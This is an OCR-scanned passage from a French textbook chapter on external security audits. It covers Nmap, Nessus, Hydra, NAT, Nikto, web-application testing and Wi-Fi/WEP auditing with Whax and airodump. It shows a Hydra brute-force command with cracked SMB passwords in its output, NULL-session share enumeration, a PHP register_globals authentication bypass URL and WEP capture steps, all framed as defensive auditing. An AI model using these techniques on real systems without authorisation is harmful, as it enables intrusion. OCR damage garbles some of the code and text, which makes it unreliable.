RGMP (Router-port Group Management Protocol) 


3 


GGP (Gateway to Gateway Protocol) 


4 


IP in IP encapsulation 


5 


ST (Internet Stream Protocol) 


6 


TCP (Transmission Control Protocol) 


7 


UCL CBT 


8 


EGP (Exterior Gateway Protocol) 


9 


IGRP (Interior Gateway Routing Protocol) 


10 


BBN RCC Monitoring 


11 


NVP (Network Voice Protocol) 


12 


PUP 


13 


ARGUS 


14 


EMCON (Emission Control Protocol) 


15 


XNET (Cross Net Debugger) 


16 


Chaos 


17 


UDP (User Datagram Protocol) 


27 


RDP (Reliable Data Protocol) 


28 


IRTP (Internet Reliable Transaction Protocol) 


29 


ISO Transport Protocol Class 4 


35 


IDPR (Inter-Domain Policy Routing Protocol) 


36 


XTP (Xpress Transfer Protocol) 


37 


Datagram Delivery Protocol 


38 


CMTP (Control Message Transport Protocol) 


39 


TP++ Transport Protocol) 


40 


I L Transport Protocol 


41 


IPv6 over IPv4 


42 


SDRP (Source Demand Routing Protocol) 


43 


IPv6 Routing header 
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Tableau 12.5 Exemples de valeurs du champ protocole d'un paquet IP (suite) 



44 


IPv6 Fragment header 




45 


IDRP (Inter-Domain Routing Protocol) 




46 


RSVP (Reservation Protocol) 




47 


GRE (General Routing Encapsulation) 




48 


MHRP (Mobile Host Routing Protocol) 




49 


BNA 




50 


ESP (Encapsulating Security Payload) 




51 


AH (Authentication Header) 




52 


Integrated Net Layer Security TUBA 




53 


IP with Encryption 




54 


NARP (NBMA Address Resolution Protocol) 




55 


Minimal Encapsulation Protocol 




56 


TLSP (Transport Layer Security Protocol using Kryptonet key management) 




57 


SKIP 




etc. 


etc. 





Controle des filtrages reseau 

Si tous les outils de balayage reseau ont pour fonction d' assurer le controle des ports et 
protocoles en ecoute sur une machine cible, Nmap permet quant a lui de controler les 
flltres reseau d'un equipement en jouant sur les drapeaux des paquets IP. Pour que ce type 
de balayage soit efficace, il faut viser une machine dont le profil est connu et maitrise. 

Analyse des donnees collectees 

A Tissue des controles effectues, nous obtenons une liste de ports, protocoles et services 
ICMP fonctionnant reellement sur la machine auditee. Ces informations peuvent etre 
comparees au modele defini par l'equipe de securite afin de faire ressortir quels services 
reseau ecoutent alors qu'ils ne le devraient pas ou, inversement, lesquels manquent a l'appel. 

Malgre le peu de credit que Ton peut accorder a de telles informations (par exemple, le 
fait qu'un port 443 ecoute ne signifie par forcement qu'un serveur HTTPS est present sur 
la machine) et le nombre de faux positifs susceptibles d'etre generes par la moindre 
deviance de configuration par rapport au standard, il est possible d'effectuer des contro- 
les fiables d'un ensemble de systemes. 

Par faux positif, on entend toute faille detectee alors qu'elle n'existe pas reellement. Si la 
presence d'un port 23 en ecoute sur une machine semble signifier un service Telnet, et 
done un risque, il peut s'agir en fait d'un serveur SSH. De meme, certains tests de secu- 
rite se fondent sur une banniere, par exemple, laissant croire a une vulnerability . II s'agit 
la simplement de la situation inverse d'un serveur Telnet fonctionnant sur le port TCP 22, 
normalement reserve au serveur SSH. 
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Controle par analyse simple des applications 

Le balayage de ports permet de se faire une idee de la securite d'une plate-forme. Cepen- 
dant, il n'est pas sufflsant pour determiner si un service reseau donne est securise. 

Afln d'affiner la qualite des controles de securite, il faut que ces controles s'interessent a la 
couche application. A ce niveau d' analyse, le controle inclut des echanges de donnees avec 
le protocole applicatif, lesquels permettent de s' assurer du service reseau attendu, mais 
aussi de detecter certaines vulnerabilites susceptibles d'etre exploitees par des pirates. 

Politique de securite simplifiee 

Nous nous appuyons pour notre exemple sur un serveur HTTP situe dans une zone demi- 
litarisee (DMZ) accessible depuis Internet. Pour une telle plate-forme, la politique de 
securite doit etre, par definition, stricte : 

• Le sy steme doit etre administre par des flux chiffres. 

• Les services reseau offerts ne doivent etre vulnerables a aucune faille connue. 

• L'utilisateur accedant au serveur HTTP doit etre authentifle et son acces chiffre. 



Mise en oeuvre d'une solution de controle externe 

L'approche utilisee pour controler jusqu'au niveau applicatif que la politique de securite 
est respectee est identique dans son principe et son architecture a celle definie pour le 
balayage reseau (voir figure 12.2). 

L'outil utilise pour ces controles doit permettre d'extraire simplement 1' information 
pertinente afln de la stocker dans une base de donnees. 

L'outil de controle Nessus 

L'outil le plus repandu pour le balayage applicatif d'un systeme est Nessus. L'obtention 
d' informations particulieres necessite toutefois de lui adjoindre d'autres outils specialises. 

Nessus fonctionne sous Unix en mode client- serveur, comme l'illustre la figure 12.4. Le 
serveur a pour fonction de lancer les audits de securite sur des machines selectionnees en 
continu. Le client Nessus, qui sert d' interface homme-machine, s'adresse au serveur par 
le port TCP 1241 par defaut afln de lui fournir la liste des taches a executer. Si le serveur 
ne fonctionne que sous Unix (FreeBSD, Linux, Solaris, etc.), il existe des clients pour 
differents systemes d' exploitation (MacOS, Windows, Unix/Xll, etc.). 

La connexion reseau entre le client et le serveur se realise au travers de flux chiffres, 
assurant ainsi la confldentialite des echanges. L'authentiflcation du client sur le serveur 
par diverses methodes est aussi possible. Enfln, chaque client dispose de plus ou moins 
de privileges suivant le role qui a ete deflni par l'administrateur. Nessus permet done de 
restreindre les types d'attaques ou adresses IP autorisees a etre controles par un groupe 
d'utilisateurs particuliers. Cette option autorise en fait une delegation des controles. 
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Figure 12.4 

Fonctionnement de Nessus 




L'utilisateur authentifie 

demande I'audit et fournit 

les details sur son 

interface client. 



Le serveur Nessus lance 

I'audit contre les machines 

definies selon les criteres 

de l'utilisateur. 



L' interface client de Nessus permet de definir les multiples parametres associes au 
controle, tels que des adresses IP, le type de balayage de ports et de protocoles, les tests 
complementaires, comme une attaque brute des mots de passe via l'outil Hydra, jusqu'au 
choix des categories de plug-in (nom utilise pour qualifier chaque test de securite) ou 
meme de chaque plug-in qui sera utilise. 

La figure 12.5 illustre l'interface du client Nessus (configuration des plug-in). 



Figure 12.5 

Interface client de Nessus 
(configuration des plug-in) 
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L' architecture de Nessus permet done, comme celle de Nmap, de lancer a distance des 
controles et ainsi de pouvoir distribuer les audits a un serveur proche de sa cible afin 
d'optimiser la qualite et la vitesse des tests. 

Nessus permet de formater les resultats obtenus de sorte que 1' extraction des informa- 
tions pertinentes soit simple, tout en etant complete. 
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Nous utilisons l'option -T nsr du client en ligne de commande pour indiquer a Nessus 
que le rapport doit etre produit au format Nessus Report. Ce format presente l'avantage 
d'etre pret a l'emploi pour un stockage dans une base de donnees. Cette approche permet 
de concevoir facilement un programme assurant la comparaison avec le modele. 

Nessus fournit par lui-meme une qualification du risque (Low, Medium, High), qui peut 
etre renforcee par l'outil de comparaison lors de 1' analyse finale. 

V 

A titre d'exemple, voici le resultat d'une analyse au format nsr : 

192.168.0.10| loc-srv (135/tcp) 

192.168.0.10|netbios-ssn (139/tcp) | 11011 | NOTE | An SMB server is running on this port 

192.168.0.10| netbios-ns ( 137/udp) | 10150 | NOTE |The following 2 NetBIOS names have been 

gathered : VICTIME, ENTREPRISE = Workgroup / Domain name The remote host has the 

following MAC address on its adapter : 00 : Oe : a6 : 72 :bb: 59 If you do not want 

to allow everyone to find the NetBios name of your computer, you should filter 

incoming traffic to this port. Risk factor : LowCVE : CAN-1999-0621 

192.168.0.10 | general /tcp| 11936 | N0TE|The remote host is running Microsoft Windows XP 

SP2 

192. 168. 0. 10 1 general /tcp 1 19506 | NOTE | Information about this scan : Nessus version : 

2.3.1 (NASL_LEVEL=2202)Plugin feed version : 200509301515 Type of plugin feed : 

RegisteredScanner IP : 192.168.0.126 Port scanner(s) : nmap Port range : 1-1024 

Thorough tests : no Experimental tests : no Paranoia level : IReport Verbosity : 1 

Safe checks : yes Scan Start Date : 2005/10/1 9:25 Scan duration : 133 sec 

Dans ce format, chaque enregistrement est une ligne terminee par un retour chariot. 
Chaque champ est separe par un pipe ( | ) et fournit le nom ou l'adresse IP de la machine, 
le service detecte, le commentaire associe et le niveau de risque estime par Nessus. 

Autres outils 

Si Nessus assure une importante partie de la securite applicative, il ne couvre cependant 
pas tous les besoins. D' autres outils specialises dans 1' analyse de securite de tel ou tel 
service reseau et fonctionnant aussi en ligne de commande produisent des fichiers de 
resultats faciles a analyser. 

Hydra 

Hydra est specialise dans l'attaque par force brute sur des services reseau reclamant une 
authentiflcation, tels Telnet, FTP, HTTP, HTTPS, HTTP-Proxy, SMB, SMBNT, MS- 
SQL, MySQL, les R-services, CVS, SNMP, SMTP-AUTH, Socks 5, VNC, POP3, IMAP, 
NTP, PCNFS, ICQ, SAP/R3, LDAP v2 et v3, PostgreSQL, Teamspeak, Cisco auth, Cisco 
enable et 1' AAA Cisco. 

Grace a cet outil, il est possible de tester la panoplie classique des mots de passe triviaux 
ou deflnis par defaut pour le systeme vise. 

Comme les autres outils, Hydra fournit un resultat en texte brut, qui permet d'en extraire 
facilement 1' information pertinente : 
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# hydra -e ns -v -L login.txt -P pass.txt 192.168.0.137 smb 

Hydra v4.7 (c) 2005 by van Hauser / THC - use allowed only for legal purposes. 

Hydra (http://www.thc.org) starting at 2005-10-01 11:26:09 

[DATA] 1 tasks, 1 servers, 100 login tries (1 : 10/p: 10) . -100 tries per task 

[DATA] attacking service smb on port 139 

[VERBOSE] Resolving addresses ... done 

[139][smb] host: 192.168.0.137 login: laurent password: 

[VERBOSE] Skipping current login as we cracked it 

[139][smb] host: 192.168.0.137 login: denis password: 1234$ 

[139][smb] host: 192.168.0.137 login: cedric password: cerise 

[VERBOSE] Skipping current login as we cracked it 

[STATUS] attack finished for VICTIME (waiting for childs to finish) 

[139][smb] host: 192.168.0.137 login: jean password: adminl23 

Hydra (http://www.thc.org) finished at 2005-10-01 11:26:43 

Dans le resultat ci-dessus, la machine controlee (adresse IP 192.168.0.137) est un serveur 
SMB. Hydra a pris les comptes a tester du flchier login.txt, ainsi que les mots de passe 
possibles du flchier pass.txt. 

En l'etat actuel, Hydra ne sait pas lancer d'attaque par force brute fondee sur une genera- 
tion aleatoire de mots de passe. 

Apres des tentatives repetees d'authentiflcation, Hydra flnit par constater que le serveur 
Windows accepte le compte laurent sans mot de passe, le compte denis avec le mot de 
passe 1234$, etc. 

L'interet d'utiliser Hydra n'est pas seulement d'obtenir les comptes et mots de passe 
associes pour penetrer un systeme, mais de permettre de controler que la politique de 
mots de passe est bien appliquee. 

Un autre avantage d'Hydra est sa discretion, puisqu'il peut s'appuyer sur des services 
reseau qui ne tracent pas toujours les attaques par force brute. Ainsi est-il rare que 
Windows stocke par defaut ce type d'attaque et encore plus rare qu'il sache de quelle 
adresse IP elle provient (il stocke generalement le nom Netbios de l'attaquant). 

NAT (Netbios Auditing Tool) 

Malgre la disparition de la societe SecNET, qui l'avait con^u, NAT reste facile a trouver 
par 1' intermediate d'un moteur de recherche. Specialise dans le systeme d' exploitation 
Microsoft Windows, il effectue un audit de securite oriente Netbios, permettant 
d'extraire la liste des ressources partagees, le contenu de l'explorateur d'ordinateurs, etc. 

Comme Hydra, NAT s'appuie sur des fichiers de comptes et de mots de passe associes. 
L'un des avantages de cet outil est qu'il peut attaquer par la methode dite des NULL 
sessions (ou le compte est egal a rien), faiblesse traditionnelle des machines Windows. 

NAT produit des resultats plus difflciles a manipuler, mais qui restent suffisamment struc- 
tures pour permettre d'en extraire les informations les plus precieuses : 
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# nat 192.168.0.254 

[*] NAT - NetBIOS Auditing Tool v2.0 

Copyright 1996, 1997, 1998, Secure Networks Inc. 

[*] Host 192.168.0.254 (VICTIME.domaine) checked on Sat Oct 1 11:29:13 2005 
[*] Remote system name tables 

VICTIME 

MSBROWSE 

ENTREPRISE 



c* 
[* 

[* 
[* 
[* 
[* 

[* 
[* 

[* 

c* 



Trying to connect with 'VICTIME' 
Connected with NetBIOS name VICTIME 

Dialect selected: NT LANMAN 1.0 
Server has share level security enabled 
Server supports password encryption 
Remote server's workgroup: ENTREPRISE 

Logging in as '' with password 

Able to login as user '' with password 

Server Operating System: Unix 

Lan Manager Software : Samba 3.0.14a 



[*] Machine has a browse list 



VICTIME 



- Primary domain controller 

- Print server 

- Master browser 

- Domain master 



[*] Workstation information 



Computer Name 


VICTIME 


User Name 


nobody 


Work Group 


ENTREPRISE 


Version 


4.9 


Logon Domain 


HOME 


Other Domains 





[*] Able to list shares as '' user 



ADMINS 


IPC 


DATA 


DISK 


HP6mpPS 


PRINTER 



IPC Service (Internet Gateway) 

Zone de partage 

HP LaserJet 6 MP (Postscript) 
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[*] Verbose share information for ADMINS 



Share Name 
Comment 
Permissions 
Max Uses 
Current Uses 
Shared Path 



ADMINS 

IPC Service (Internet Gateway) 

7 ACCESS_READ ACCESS_WRITE ACCESS_CREATE ACCESS_ALL 

65535 

1 

/tmp 



[*] Verbose share information for FTP Laurent 



Share Name 
Comment 
Permissions 
Max Uses 
Current Uses 
Shared Path 



DATA 

Zone de partage 

7 ACCESS_READ ACCESS. 

65535 

1 

/data 



'RITE ACCESS CREATE ACCESS ALL 



[*] Verbose share information for HP6mpPS 



Share Name 
Comment 
Permissions 
Max Uses 
Current Uses 
Shared Path 



HP6mpPS 

HP LaserJet 6 MP (Postscript) 

7 ACCESS_READ ACCESS_WRITE ACCESS_CREATE ACCESS_ALL 

65535 

1 

/var/spool /samba/HP6mp 



[*] WARNING: Able to connect to \WICTIME\HP6mpPS as 
[*] WARNING: Able to WRITE to \WICTIME\HP6mpPS 



user 



Ici, l'outil NAT a pu se connecter en mode NULL session (en tant que nom d'utilisateur 
et mot de passe), ce qui lui a permis de lister les partages offerts par le serveur Samba, 
avec les details et droits d'acces associes. Au passage, il a collecte la liste des ordinateurs 
connus de ce serveur, qui est ici vide, car ce serveur semble isole dans son environne- 
ment. Dans des reseaux Microsoft tres distribues, cette liste contiendrait tous les serveurs 
presents dans le reseau. 

Nikto 

Le service reseau le plus present de nos jours est HTTP ou sa declinaison en flux chiffres 
HTTPS. En complement de Nessus, qui effectue deja beaucoup de tests HTTP, l'outil 
Nikto permet de verifier la presence de toutes les URL classiques par defaut, tout en 
assurant de multiples tests CGI, etc. 

Le format des resultats rendus par Nikto permet une extraction facile de 1'information 
(Nikto renvoie un message pour chaque test realise) : 

# nikto -host 192.168.0.127 -verbose 

- Nikto 1.35/1.35 - www.cirt.net 

V: - Testing open ports for web servers 

V: - Checking for HTTP on port 192.168.0.127:80 
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+ Target IP: 192.168.0.127 

+ Target Hostname: www.victime.com 

+ Target Port: 80 

+ Start Time: Sat Oct 1 11:43:54 2005 



- Scan is dependent on "Server" string which can be faked, use -g to override 

+ Server: Apache/1.3.33 (Unix) 

V: - Checking for CGI in: /cgi-bin/ 

V: - Server category identified as 'apache', if this is not correct please use -g to 

force a generic scan. 



V 


- 2658 server 


checks loaded 


V 


- 200 


for 


GET 


/ 


V 


- 404 


for 


GET 


/webtop/wdk/ 


V 


- 404 


for 


GET 


/cgi-bin/. htaccess 


V 


- 404 


for 


GET 


/cgi -bin/test-cgi .bat 


V 


- 200 


for 


GET 


// 


V 


- 200 


for 


OPTIONS: // 


V 


- 404 


for 


GET 


/-nobody /etc/pas swd 


V 


- 404 


for 


GET 


/admin. cgi 


V 


- 404 


for 


GET 


/blah-whatever. jsp 


V 


- 404 


for 


GET 


/cgi -bin /ma in_menu.pl 


V 


- 404 


for 


GET 


/cgi-bin/printenv 


V 


- 404 


for 


GET 


/cgi-bin/printenv 


V 


- 404 


for 


GET 


/cgi-bin/search 


V 


- 404 


for 


GET 


/cgi -bin/test-cgi 


V 


- 404 


for 


GET 


/cgi -bin/test-cgi 



[snip] 

Chaque URL qui retourne un code d'erreur egal a 200 signifie que l'URL a ete obtenue 
avec succes. A moins que le serveur ne soit configure pour repondre toujours par une 
page particuliere en cas d'URL invalide (code 404 = page non trouvee), cela signifie que 
la faiblesse existe sur le serveur puisque l'URL est presente. 



Analyse des donnees collectees 

Toute analyse automatique non contre-verifiee genere toujours des faux positifs. Cepen- 
dant, Nessus peut inserer dans ses commentaires la phrase suivante relative a une vulne- 
rabilite trouvee : « Nessus pense que la vulnerability existe parce qu'il a trouve que 

Utilise manuellement, Nessus permet de selectionner les vulnerabilites qui se revelent 
finalement des faux positifs avant la production du rapport. 

II existe plusieurs differences entre les resultats d'un outil de controle au niveau applica- 
tif et ceux provenant d'un balayage de ports. En premier lieu, le controle applicatif 
apporte une certitude quant au service reseau qui ecoute derriere le port controle. La 
plupart des outils dedies a cette analyse, dont Nessus, disposent de surcroit d'une base de 
donnees des vulnerabilites associees au service en cours de controle et peuvent done 
tester que la faiblesse existe bel et bien. 
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Le controle au niveau applicatif permet en outre de partager une panoplie de tests 
commune a tous les serveurs d'un meme service. Les attaques sur des CGI contre un 
serveur HTTP Unix Apache sont en effet globalement identiques a celles contre un 
Microsoft IIS, et les attaques SQL globalement identiques a celles contre un systeme 
SGBDR. 

Certains tests peuvent toutefois mettre en refus de service un systeme cible. Le choix des 
tests doit done etre valide par l'equipe securite et les responsables des systemes audites. 

Controle par analyse complete des applications 

Nous avons vu comment effectuer un controle par balayage de ports ainsi qu'une analyse 
au niveau applicatif d'un systeme donne en en automatisant les controles. Les resultats 
obtenus nous permettent de conflrmer certaines hypotheses et meme de decouvrir des 
faiblesses supplementaires. 

Cependant, certains systemes sont plus exposes que d'autres a des attaques, comme ceux 
accessibles depuis Internet, par exemple, ou contiennent des informations particuliere- 
ment critiques pour l'entreprise. 

Pour ces systemes plus sensibles, il n'existe pas d'outil miracle qui permettrait de trouver 
l'ensemble des faiblesses possibles. Seule l'experience et la competence d'un auditeur 
peuvent approcher ce Graal de la securite. II s'agit la de la frontiere entre l'outil et 
1' expertise en matiere de securite. 

Politique de securite simplifiee 

En prenant 1' exemple d'un serveur HTTP, nous allons voir qu'un nombre important 
d' elements critiques n'ont pu etre controles par les outils precedents. 

Une fois un utilisateur authentifle sur le serveur HTTP, comment le concept de session 
est-il gere ? S'agit-il d'une valeur de session placee dans les URL ou d'un cookie stocke, 
et, dans ce cas, quelle est la duree de vie de celui-ci ? Nous pouvons aussi nous demander 
si les formulaires ne presentent pas un risque d'etre utilises contre le serveur. Les 
donnees d'entree sont-elles scrupuleusement verifiees arm qu'il n'existe aucune possibi- 
lity de lancer des attaques de « cross-scripting » ? 

Les reponses a ces questions ne peuvent etre obtenues que par un test complet au niveau 
applicatif, effectue par un specialiste, et non par un outil automatise. 

A ce niveau, la politique de securite est des plus simples : 

« Aucun moyen ne permet qu'une personne non autorisee manipule ou detruise des 
donnees accessibles par V intermediaire du serveur » 

En d'autres termes, le serveur doit etre securise. 



Le controle externe de securite 



329 



Chapitre 12 



Mise en oeuvre d'une solution de controle externe 

Nous commen^ons par nous appuyer sur les outils que nous avons deja utilises prece- 
demment et qui fournissent une aide precieuse pour effectuer une analyse simple des 
services reseau. Lorsque ces outils atteignent leur limite, nous poursuivons 1' analyse en 
utilisant d'autres outils, souvent faits maison, pour effectuer des tests complementaires. 

Lorsque nous rencontrons, par exemple, une URL contenant une chaine apparemment 
aleatoire de caracteres telle que la suivante : 



i 



http : //www. vi ctime . com/af f i che/f i che_cl 1 ent?sess= 
dXNl cjlsYXVyZW50f HBhc3M9bW91bnRhaW5i aWtl Cg== 



notre experience peut nous aider a reconnaitre la signature caracteristique d'un algo- 
rithme de chiffrement ou d'encodage. 

Nous tentons alors de decoder 1' information afln de nous assurer qu'elle ne contient 
aucune information susceptible d' aider une personne malveillante. Nous decouvrons que 
cette chaine de caracteres n'est autre que le compte et le mot de passe de l'utilisateur 
encode en base 64, comme le montre la commande suivante : 



i 



# echo n dXNlcjlsYXVyZW50fHBhc3M9bW91bnRhaW5iaWtlCg==" | base64 -d 
user=laurent |pass=mountainbike 



Cette information est utilisee afln de controler a chaque demande que l'acces est legi- 
time. Pour le decouvrir, nous nous appuyons sur le fait que les resultats d'un encodage en 
base 64 se terminent souvent par un signe =. 

Un autre exemple, frequemment rencontre avec les langages de programmation interpre- 
ts dans le serveur HTTP, tels PHP, Perl, ASP, etc., est que ces langages necessitent de 
recuperer des variables en provenance des formulaires saisis et s'ouvrent ainsi a des 
failles possibles de securite. 

Prenons 1' exemple de la page HTML suivante contenant un formulaire : 

<form action="auth.php" method="post"> 

Name: <input type="text" name="util isateur" /Xbr /> 

Email: <input type="text" name="motdepasse" /Xbr /> 

<input type="submit" name="Auth" value=" Authentifier" /> 
</form> 

L'objectif est d' envoy er au serveur d' authentication les elements necessaires afln de 
valider l'acces d'un utilisateur. Les donnees associees a cette authentication sont desi- 
gnees par les variables suivantes : 

• uti 1 i sateur : qui contiendra son login. 

• motdepasse : qui contiendra le mot de passe associe. 

Si le parametre PHP Register Globals est actif dans le flchier php.ini, ces deux variables 
sont directement creees au sein meme du code du programme HTTP. Le programmeur 
peut done, par exemple, utiliser le code suivant pour valider l'acces de l'utilisateur : 
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if ($util isateur eq "") 

{ print ("Le nom de 1 ' uti 1 isateur ne doit pas etre vide"); } 

if (($util isateur eq "laurent") && (Smotdepasse eq "secret")) 
{ print ("Acces autorise"); $authorized=l; } 

if (Sauthorized != 1) { print ("Acces interdit"); exit; } 

Nous constatons qu'il n'est pas utile de chercher le login et le mot de passe pour pouvoir 
passer le test d'authentiflcation et qu'il suffit de passer la variable authori zed dans l'URL 
pour deflnir sa valeur : 

h ttp :/ /www. vi ctime.com/admin/pageprivee.php? a ut ho rized=l 

Cette commande force la variable authorized a etre initialisee a 1 et a etre automatique- 
ment creee dans le programme. Comme les noms de variables sont souvent choisis pour 
etre lisibles par tout lecteur du code source, il peut etre facile de determiner le nom de 
cette variable et de passer outre le test d'authentiflcation. 

La bonne methode pour ne pas etre vulnerable a une telle faiblesse aurait ete de desacti- 
ver le passage automatique de variable au programme CGI (parametre global de PHP 
regi ster_gl obal s=of f), ce qui aurait contraint le programmeur a recuperer les valeurs des 
variables du formulaire sous la forme suivante : 

import_request_variables( 'p' , ' p_" ) ; 
$util isateur=$p_util isateur; 
$motdepasse=$p_motdepasse; 

Ou encore : 



i 



$uti 1 i sateur=$HTTP_POST_VARS[ ' uti 1 i sateur ' ] ; 
$motdepasse=$HTTP_POST_VARS[ 'motdepasse ' ] ; 



Analyse des donnees collectees 

Lors d'une analyse complete au niveau applicatif, on trouve souvent des combinaisons 
d'erreurs qui permettent d'exploiter des faiblesses. Ainsi, si un serveur HTTP est para- 
metre pour executer des scripts avec les privileges d'administrateur et est couple a un 
manque de verification des donnees d' entrees, il est possible de lancer des commandes 
privilegiees sans avoir a s'authentifler. 



Cas particulier des reseaux sans fil 

Les reseaux sans fil echappent aux techniques de controle que nous avons presentees 
dans ce chapitre. Les outils que nous avons utilises jusqu' a present s'appuient sur le prin- 
cipe que les acteurs associes aux controles, a savoir la machine de l'auditeur et la 
machine a controler, sont connectees a un reseau leur permettant de communiquer par 
l'intermediaire du protocole TCP/IP. 
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Dans le cas d'un reseau sans fil, la politique de securite doit etre verifiee avant 1' attribu- 
tion d'une quelconque adresse. En effet, la technologie sans fil repose sur des communi- 
cations hertziennes, qui permettent d'interagir avec les machines connectees au reseau 
sans pour autant disposer d'une adresse legitime. En consequence, les politiques de secu- 
rite associees aux reseaux sans fil sont applicables aux points d'acces en premier lieu. 

Politique de securite 

Un point d'acces Wi-Fi est par nature hautement expose, puisque les donnees transitent 
par le biais d'ondes radio, qui peuvent etre capturees par n'importe qui se trouvant a 
portee du signal. De plus, un ordinateur desirant se connecter a un point d'acces doit 
savoir que celui-ci existe. Ainsi, soit le point d'acces s'annonce afin que quiconque sache 
qu'il existe, soit le client dispose d'une information permettant de se connecter sans que 
cette annonce soit necessaire. 

Notre premiere regie de securite est done que le chiffrement des donnees est obligatoire : 

« Les donnees ne doivent pas pouvoir etre copiees sans V accord de leur proprietaire. » 

Malheureusement, certains algorithmes preconises pour le chiffrement des donnees dans 
les reseaux sans fil, tels que le protocole WEP, s'averent d'une protection bien peu effi- 
cace. II faut done renforcer la qualite du chiffrement par une deuxieme regie : 

« Les donnees en transit sur le reseau restent confidentielles. » 

Si une personne malveillante est connectee au reseau sans fil et dispose d'une adresse IP, 
elle peut etre reellement nuisible. II faut done s' assurer que la machine connectee a bien 
ce privilege. C'est notre troisieme regie : 

« L'acces au reseau est autorise a toute personne ou ordinateur qui aura fait la preuve 
de son authenticity et aura le droit de s 'y connecter. » 

Enfin, compte tenu du risque intrinseque d'un reseau sans fil, il est prudent de controler 
les flux afin que seules les operations prevues soient autorisees. Une quatrieme regie de 
securite permet de definir cette contrainte : 

« L'utilisateur n'effectue sur le reseau que les operations qui lui sont autorisees. » 

Sachant encore une fois que ce type de reseau est a haut risque, l'entreprise doit disposer 
de controles proactifs ou reactifs. Par controle proactif, nous entendons un controle 
charge de detecter toute anomalie. Par controle reactif, nous entendons toute detection 
passive d'une anomalie. Par une analyse ulterieure, telle qu'une analyse des traces, 
1' anomalie pourra etre etudiee en profondeur. 

Afin de permettre a l'entreprise d'enqueter en cas d' anomalie, la cinquieme regie 
suivante definit le besoin de tracer le trafic (log) : 

« Les echanges sont traces et les traces rendues disponibles sur une periode de six 
mois. » 
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Enfin, pour etre sur qu'un controle regulier des points d'acces Wi-Fi est effectue, la 
sixieme et derniere regie de securite suivante dicte la periodicite des audits : 

« La politique de securite est controlee tous les six mois. » 



Mise en ceuvre d'une solution de controle externe 

Compte tenu de 1' insecurity des reseaux Wi-Fi, un moyen de rendre cet acces securise 
consiste a forcer le point d'acces a deboucher sur un reseau ou n'est presente qu'une 
passerelle IPsec reliee au reseau d'entreprise. 

Ainsi, le piratage du reseau Wi-Fi ne permet que de deboucher sur un reseau vide. Le seul 
moyen d'atteindre l'entreprise est de s'authentifler sur la passerelle IPsec et de construire 
un tunnel, ce qui ajoute d'autres mecanismes de securite a la session de l'utilisateur. 

Une passerelle IPsec permettant d'attribuer une adresse IP speciflque a un profll ou un 
utilisateur particulier, la mise en place d'un pare-feu entre cette passerelle et le reseau 
d'entreprise permet en outre de mettre en place une politique de filtrage. 

Comme l'illustre la figure 12.6, chaque utilisateur qui reussit a acceder au reseau d'entre- 
prise est authentifie, et il ne peut effectuer que les flux reseau qui lui sont autorises. 



Figure 12.6 

Acces sansfil avec tunnel 
chiffre 




Client Wi-Fi 



Point 
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IPsec 



Flux ch iff res par le tunnel IPsec 



Pare-feu 



Flux en clair 



Avec une telle architecture, le risque de penetrer l'entreprise devient beaucoup plus 
faible, malgre la facilite de casser la cle WEP. 



L'outil de controle Whax 

Afin de verifier que le point d'acces repond bien aux exigences deflnies par la politique 
de securite, des controles doivent etre effectues regulierement. 

S'il n'existe aucun outil qui permette d' effectuer ces controles de maniere automatisee, il 
reste possible de proceder manuellement. Le meilleur outil pour cela est le « tout-en-un » 
Whax. 

Au depart du projet Whax, un groupe d'utilisateurs a realise un CD-ROM intitule Auditor 
a partir d'une base Linux Slax taillee pour effectuer des audits de securite. Cette distribu- 
tion a la particularite d'etre un « live CD-ROM », qui permet de travailler entierement a 
partir du CD-ROM, sans avoir a installer quoi que ce soit sur la machine note. 
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Auditor utilise un noyau Linux optimise pour reconnaitre un maximum d' interfaces 
reseau, y compris les reseaux sans fi.1. II inclut une panoplie de pres de 300 outils permet- 
tant d'ecouter le reseau, d' analyser les flux, de dechiffrer la cle WEP, de lancer des atta- 
ques par force brute, etc. Certains de ces outils ont ete modifies arm de detecter automa- 
tiquement les peripheriques materiels. Enfin, ces outils ont ete developpes 
speciflquement avec une structure de menus, arm que l'auditeur ait acces a chacun d'eux 
facilement et puisse s'appuyer sur des outils d' edition pour la redaction de son rapport. 

Cette distribution particuliere de Linux a ete ensuite migree vers une autre version de 
Linux (Slax) et encore enrichie de fonctionnalites additionnelles et d'autres drivers 
d'interfaces reseau (notamment sans fll), donnant ainsi naissance a Whax. 

Whax peut etre mis a jour, assurant a l'auditeur d' avoir toujours la derniere version des 
bases de donnees de vulnerabilites, etc. 

Whax se presente done sous la forme d'un CD-ROM executable directement, ce qui evite 
une installation longue et fastidieuse sur disque dur. II peut aussi etre installe en version 
compressee (comme sur le CD-ROM) ou decompressee en lan^ant simplement le Whax 
Installer. 

Une fois demarre, Whax offre un acces direct a tous les outils necessaires pour effectuer 
le controle externe par le biais de son menu principal illustre a la figure 12.7. 



Figure 12.7 
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A partir de ce menu, il est tres simple de detecter en premier lieu les reseaux et echanges 
Wi-Fi autour de l'auditeur. Pour cela, le logiciel Kismet est lance afln de reveler le SSID 
du point d' acces et de verifier si le reseau est ouvert ou ferme et s'il utilise WEP pour 
securiser 1' acces. 

Le nombre de paquets en transit est compte, et les adresses IP utilisees afflchees, 
lorsqu'elles sont detectees. La figure 12.8 illustre un ecran de Kismet en pleine action. 

Afln d'afflner son analyse, l'auditeur desire tester la securite d'un ensemble de points 
d'acces. II sait que les flux sont chiffres par WEP (colonne W a « Y ») et que les flux 
transitent sur le canal indique a la colonne Ch. II lui faut done estimer la qualite de la cle 
WEP utilisee. 

Pour pouvoir casser la cle WEP, il est necessaire que le point d'acces soit actif, autrement 
dit qu'il echange des donnees avec une machine qui a le droit d'y acceder. 

II va pour cela capturer des paquets en transit grace au composant airodump de l'outil 
Aircrack. Ce composant a pour fonction de capturer le traflc et de le stocker dans un 
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Figure 12.8 

Kismet en action 
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fichier au format libpeap. airodump affiche en outre le nombre d'lV (Initialization 
Vector) captures (lors de l'utilisation d'aircrack, airodump, etc., Kismet ne doit pas fonc- 
tionner, car cela reduirait considerablement le nombre de paquets avec des IV). 

Rappelons que les possibilites de casser la cle WEP reposent sur la faiblesse des IV 

La commande ai rodump est lancee pour utiliser l'interface athO afln d'ecouter les echan- 
ges entre stations et point d'acces avec le SSID XXXX_YYYY, canal 10 : 

# airodump athO XXXX_YYYY 10 1 



BSSID 



PWR Packets LAN IP / # IVs CH MB ENC ESSID 



00:AA:AA:AA:AA:AA 22 



25 



8 



10 54 WEP? XXXX YYYY 



BSSID STATION 

00:AA:AA:AA:AA:AA 00 : BB : BB : BB : BB : BB 



PWR 
7 



Packets ESSID 
250 XXXX YYYY 



